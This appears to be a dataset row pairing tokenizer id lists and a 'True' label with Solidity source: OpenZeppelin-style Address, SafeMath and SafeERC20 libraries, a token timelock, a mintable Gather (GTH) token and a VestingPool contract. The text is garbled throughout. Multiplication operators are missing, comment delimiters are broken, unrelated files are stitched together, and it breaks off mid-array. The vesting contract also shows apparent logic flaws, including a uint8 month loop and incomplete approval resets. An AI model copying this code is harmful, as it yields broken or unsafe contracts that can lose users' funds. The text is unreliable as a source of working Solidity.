1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 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// SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /* * @dev A token holder contract that will allow a beneficiary to extract the * tokens after a given release time. * * Useful for simple vesting schedules like "advisors get all of their tokens * after 1 year". / contract TokenTimelock { using SafeERC20 for IERC20; // ERC20 basic token contract being held IERC20 private _token; // beneficiary of tokens after they are released address private _beneficiary; // timestamp when token release is enabled uint256 private _releaseTime; constructor (IERC20 token, address beneficiary, uint256 releaseTime) public { // solhint-disable-next-line not-rely-on-time require(releaseTime > block.timestamp, "TokenTimelock: release time is before current time"); _token = token; _beneficiary = beneficiary; _releaseTime = releaseTime; } /* * @return the token being held. / function token() public view returns (IERC20) { return _token; } /* * @return the beneficiary of the tokens. / function beneficiary() public view returns (address) { return _beneficiary; } /* * @return the time when the tokens are released. / function releaseTime() public view returns (uint256) { return _releaseTime; } /* * @notice Transfers tokens held by timelock to beneficiary. */ function release() public virtual { // solhint-disable-next-line not-rely-on-time require(block.timestamp >= _releaseTime, "TokenTimelock: current time is before release time"); uint256 amount = _token.balanceOf(address(this)); require(amount > 0, "TokenTimelock: no tokens to release"); _token.safeTransfer(_beneficiary, amount); } } contract HolderTimelock is TokenTimelock { constructor( IERC20 _token, address _beneficiary, uint256 _releaseTime ) public TokenTimelock(_token, _beneficiary, _releaseTime) //solhint-disable-next-line {} }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3074, 1997, 4972, 3141, 2000, 1996, 4769, 2828, 1008, 1013, 3075, 4769, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 2995, 2065, 1036, 4070, 1036, 2003, 1037, 3206, 1012, 1008, 1008, 1031, 2590, 1033, 1008, 1027, 1027, 1027, 1027, 1008, 2009, 2003, 25135, 2000, 7868, 2008, 2019, 4769, 2005, 2029, 2023, 3853, 5651, 1008, 6270, 2003, 2019, 27223, 1011, 3079, 4070, 1006, 1041, 10441, 1007, 1998, 2025, 1037, 3206, 1012, 1008, 1008, 2426, 2500, 1010, 1036, 2003, 8663, 6494, 6593, 1036, 2097, 2709, 6270, 2005, 1996, 2206, 1008, 4127, 1997, 11596, 1024, 1008, 1008, 1011, 2019, 27223, 1011, 3079, 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// File: contracts/SafeMath.sol pragma solidity ^0.4.26; /** * @title SafeMath * @dev Math operations with safety checks that throw on error / library SafeMath { /* * @dev Multiplies two numbers, throws on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. / function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /* * @dev Adds two numbers, throws on overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/Ownable.sol pragma solidity ^0.4.26; /* * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". / contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /* * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / constructor() public { owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. / function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/Gather_coin.sol pragma solidity ^0.4.26; /* * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 / contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /* * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 / contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /* * @title Basic token * @dev Basic version of StandardToken, with no allowances. / contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /* * @dev total number of tokens in existence / function totalSupply() public view returns (uint256) { return totalSupply_; } /* * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. / function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /* * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. / function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /* * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol / contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /* * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred / function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /* * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. / function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /* * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. / function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /* * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. / function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /* * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. / function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /* * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol / contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event Mintai(address indexed owner, address indexed msgSender, uint256 msgSenderBalance, uint256 amount); event MintFinished(); bool public mintingFinished = false; mapping(address=>uint256) mintPermissions; uint256 public maxMintLimit; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(checkMintPermission(msg.sender)); _; } function checkMintPermission(address _minter) private view returns (bool) { if (_minter == owner) { return true; } return mintPermissions[_minter] > 0; } function setMinter(address _minter, uint256 _amount) public onlyOwner { require(_minter != owner); mintPermissions[_minter] = _amount; } /* * @dev Function to mint tokens. Delegates minting to internal function * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. / function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { return mintInternal(_to, _amount); } /* * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. / function mintInternal(address _to, uint256 _amount) internal returns (bool) { if (msg.sender != owner) { mintPermissions[msg.sender] = mintPermissions[msg.sender].sub(_amount); } totalSupply_ = totalSupply_.add(_amount); require(totalSupply_ <= maxMintLimit); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function mintAllowed(address _minter) public view returns (uint256) { return mintPermissions[_minter]; } /* * @dev Function to stop minting new tokens. * @return True if the operation was successful. / function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract GatherToken is MintableToken { string public constant name = "Gather"; string public constant symbol = "GTH"; uint32 public constant decimals = 18; bool public transferPaused = true; constructor() public { maxMintLimit = 400000000 (10 ** uint(decimals)); } function unpauseTransfer() public onlyOwner { transferPaused = false; } function pauseTransfer() public onlyOwner { transferPaused = true; } // The modifier checks, if address can send tokens or not at current contract state. modifier tranferable() { require(!transferPaused, "Gath3r: Token transfer is pauses"); _; } function transferFrom(address _from, address _to, uint256 _value) public tranferable returns (bool) { return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public tranferable returns (bool) { return super.transfer(_to, _value); } } // File: contracts/VestingPool.sol pragma solidity ^0.4.26; contract VestingPool is Ownable { using SafeMath for uint256; // The token being vested GatherToken public token; // Category name identifiers bytes32 public privateCategory = keccak256("privateCategory"); bytes32 public platformCategory = keccak256("platformCategory"); bytes32 public seedCategory = keccak256("seedCategory"); bytes32 public foundationCategory = keccak256("foundationCategory"); bytes32 public marketingCategory = keccak256("marketingCategory"); bytes32 public teamCategory = keccak256("teamCategory"); bytes32 public advisorCategory = keccak256("advisorCategory"); bool public isVestingStarted; uint256 public vestingStartDate; struct vestingInfo { uint256 limit; uint256 released; uint256[] scheme; mapping(address => bool) adminEmergencyFirstApprove; mapping(address => bool) adminEmergencySecondApprove; bool multiownedEmergencyFirstApprove; bool multiownedEmergencySecondApprove; uint256 initEmergencyDate; } mapping(bytes32 => vestingInfo) public vesting; uint32 private constant SECONDS_PER_DAY = 24 * 60 * 60; uint32 private constant SECONDS_PER_MONTH = SECONDS_PER_DAY * 30; address public admin1address; address public admin2address; event Withdraw(address _to, uint256 _amount); constructor(address _token) public { require(_token != address(0), "Gath3r: Token address must be set for vesting"); token = GatherToken(_token); // Setup vesting data for each category _initVestingData(); } modifier isNotStarted() { require(!isVestingStarted, "Gath3r: Vesting is already started"); _; } modifier isStarted() { require(isVestingStarted, "Gath3r: Vesting is not started yet"); _; } modifier approvedByAdmins(bytes32 _category) { require(vesting[_category].adminEmergencyFirstApprove[admin1address], "Gath3r: Emergency transfer must be approved by Admin 1"); require(vesting[_category].adminEmergencyFirstApprove[admin2address], "Gath3r: Emergency transfer must be approved by Admin 2"); require(vesting[_category].adminEmergencySecondApprove[admin1address], "Gath3r: Emergency transfer must be approved twice by Admin 1"); require(vesting[_category].adminEmergencySecondApprove[admin2address], "Gath3r: Emergency transfer must be approved twice by Admin 2"); _; } modifier approvedByMultiowned(bytes32 _category) { require(vesting[_category].multiownedEmergencyFirstApprove, "Gath3r: Emergency transfer must be approved by Multiowned"); require(vesting[_category].multiownedEmergencySecondApprove, "Gath3r: Emergency transfer must be approved twice by Multiowned"); _; } function startVesting() public onlyOwner isNotStarted { vestingStartDate = now; isVestingStarted = true; } // Two Admins for emergency transfer function addAdmin1address(address _admin) public onlyOwner { require(_admin != address(0), "Gath3r: Admin 1 address must be exist for emergency transfer"); _resetAllAdminApprovals(_admin); admin1address = _admin; } function addAdmin2address(address _admin) public onlyOwner { require(_admin != address(0), "Gath3r: Admin 2 address must be exist for emergency transfer"); _resetAllAdminApprovals(_admin); admin2address = _admin; } function multipleWithdraw(address[] _addresses, uint256[] _amounts, bytes32 _category) public onlyOwner isStarted { require(_addresses.length == _amounts.length, "Gath3r: Amount of adddresses must be equal withdrawal amounts length"); uint256 withdrawalAmount; uint256 availableAmount = getAvailableAmountFor(_category); for(uint i = 0; i < _amounts.length; i++) { withdrawalAmount = withdrawalAmount.add(_amounts[i]); } require(withdrawalAmount <= availableAmount, "Gath3r: Withdraw amount more than available limit"); for(i = 0; i < _addresses.length; i++) { _withdraw(_addresses[i], _amounts[i], _category); } } function getAvailableAmountFor(bytes32 _category) public view returns (uint256) { uint256 currentMonth = now.sub(vestingStartDate).div(SECONDS_PER_MONTH); uint256 totalUnlockedAmount; for(uint8 i = 0; i <= currentMonth; i++ ) { totalUnlockedAmount = totalUnlockedAmount.add(vesting[_category].scheme[i]); } return totalUnlockedAmount.sub(vesting[_category].released); } function firstAdminEmergencyApproveFor(bytes32 _category, address _admin) public onlyOwner { require(_admin == admin1address \|\| _admin == admin2address, "Gath3r: Approve for emergency address must be from admin address"); require(!vesting[_category].adminEmergencyFirstApprove[_admin]); if (vesting[_category].initEmergencyDate == 0) { vesting[_category].initEmergencyDate = now; } vesting[_category].adminEmergencyFirstApprove[_admin] = true; } function secondAdminEmergencyApproveFor(bytes32 _category, address _admin) public onlyOwner { require(_admin == admin1address \|\| _admin == admin2address, "Gath3r: Approve for emergency address must be from admin address"); require(vesting[_category].adminEmergencyFirstApprove[_admin]); require(now.sub(vesting[_category].initEmergencyDate) > SECONDS_PER_DAY); vesting[_category].adminEmergencySecondApprove[_admin] = true; } function firstMultiownedEmergencyApproveFor(bytes32 _category) public onlyOwner { require(!vesting[_category].multiownedEmergencyFirstApprove); if (vesting[_category].initEmergencyDate == 0) { vesting[_category].initEmergencyDate = now; } vesting[_category].multiownedEmergencyFirstApprove = true; } function secondMultiownedEmergencyApproveFor(bytes32 _category) public onlyOwner { require(vesting[_category].multiownedEmergencyFirstApprove, "Gath3r: Second multiowned approval must be after fisrt multiowned approval"); require(now.sub(vesting[_category].initEmergencyDate) > SECONDS_PER_DAY); vesting[_category].multiownedEmergencySecondApprove = true; } function emergencyTransferFor(bytes32 _category, address _to) public onlyOwner approvedByAdmins(_category) approvedByMultiowned(_category) { require(_to != address(0), "Gath3r: Address must be transmit for emergency transfer"); uint256 limit = vesting[_category].limit; uint256 released = vesting[_category].released; uint256 availableAmount = limit.sub(released); _withdraw(_to, availableAmount, _category); } function _withdraw(address _beneficiary, uint256 _amount, bytes32 _category) internal { token.transfer(_beneficiary, _amount); vesting[_category].released = vesting[_category].released.add(_amount); emit Withdraw(_beneficiary, _amount); } function _resetAllAdminApprovals(address _admin) internal { vesting[seedCategory].adminEmergencyFirstApprove[_admin] = false; vesting[seedCategory].adminEmergencySecondApprove[_admin] = false; vesting[foundationCategory].adminEmergencyFirstApprove[_admin] = false; vesting[foundationCategory].adminEmergencySecondApprove[_admin] = false; vesting[marketingCategory].adminEmergencyFirstApprove[_admin] = false; vesting[marketingCategory].adminEmergencySecondApprove[_admin] = false; vesting[teamCategory].adminEmergencyFirstApprove[_admin] = false; vesting[teamCategory].adminEmergencySecondApprove[_admin] = false; vesting[advisorCategory].adminEmergencyFirstApprove[_admin] = false; vesting[advisorCategory].adminEmergencySecondApprove[_admin] = false; } function _amountWithPrecision(uint256 _amount) internal view returns (uint256) { return _amount.mul(10 ** uint(token.decimals())); } // Vesting data for public sale category function _initVestingData() internal { // Vesting data for private sale category vesting[privateCategory].limit = _expandToDecimals(20000000); vesting[privateCategory].scheme = [ /* initial amount / 10500000, / M+1 M+2 / 10500000, 9000000 ]; // Vesting data for platform category vesting[platformCategory].limit = _expandToDecimals(30000000); vesting[platformCategory].scheme = [ / initial amount / 30000000 ]; // Vesting data for seed category vesting[seedCategory].limit = _expandToDecimals(22522500); vesting[seedCategory].scheme = [ / initial amount / 5630625, / M+1 M+2 M+3 M+4 M+5 / 3378375, 3378375, 3378375, 3378375, 3378375 ]; // Vesting data for foundation category vesting[foundationCategory].limit = _expandToDecimals(193477500); vesting[foundationCategory].scheme = [ / initial amount / 0, / M+1 M+2 M+3 M+4 M+5 M+6 M+7 M+8 M+9 M+10 M+11 M+12 / 0, 0, 0, 0, 0, 6000000, 6000000, 6000000, 6000000, 6000000, 6000000, 6000000, / Y+2 / 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, / Y+3 / 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, 4000000, / Y+4 / 3000000, 3000000, 3000000, 3000000, 3000000, 3000000, 3000000, 3000000, 3000000, 3000000, 3000000, 3000000, / Y+5 / 19477500 ]; // Vesting data for marketing category vesting[marketingCategory].limit = _expandToDecimals(50000000); vesting[marketingCategory].scheme = [ / initial amount / 0, / M+1 M+2 M+3 M+4 M+5 M+6 M+7 M+8 M+9 M+10 M+11 M+12 / 0, 0, 2000000, 2000000, 2000000, 2000000, 2000000, 2000000, 2000000, 2000000, 2000000, 2000000, / Y+2 / 1500000, 1500000, 1500000, 1500000, 1500000, 1500000, 1500000, 1500000, 1500000, 1500000, 1500000, 1500000, / Y+3 / 1000000, 1000000, 1000000, 1000000, 1000000, 1000000, 1000000, 1000000, 1000000, 1000000, 1000000, 1000000 ]; // Vesting data for team category vesting[teamCategory].limit = _expandToDecimals(50000000); vesting[teamCategory].scheme = [ / initial amount / 0, / M+1 M+2 M+3 M+4 M+5 M+6 M+7 M+8 M+9 M+10 M+11 M+12 / 0, 0, 0, 0, 0, 7000000, 0, 0, 0, 7000000, 0, 0, / Y+2 / 0, 7000000, 0, 0, 0, 7000000, 0, 0, 7000000, 0, 0, 0, / Y+3 / 0, 7500000, 0, 0, 0, 7500000 ]; // Vesting data for advisor category vesting[advisorCategory].limit = _expandToDecimals(24000000); vesting[advisorCategory].scheme = [ / initial amount / 0, / M+1 M+2 M+3 M+4 M+5 M+6 M+7 M+8 M+9 / 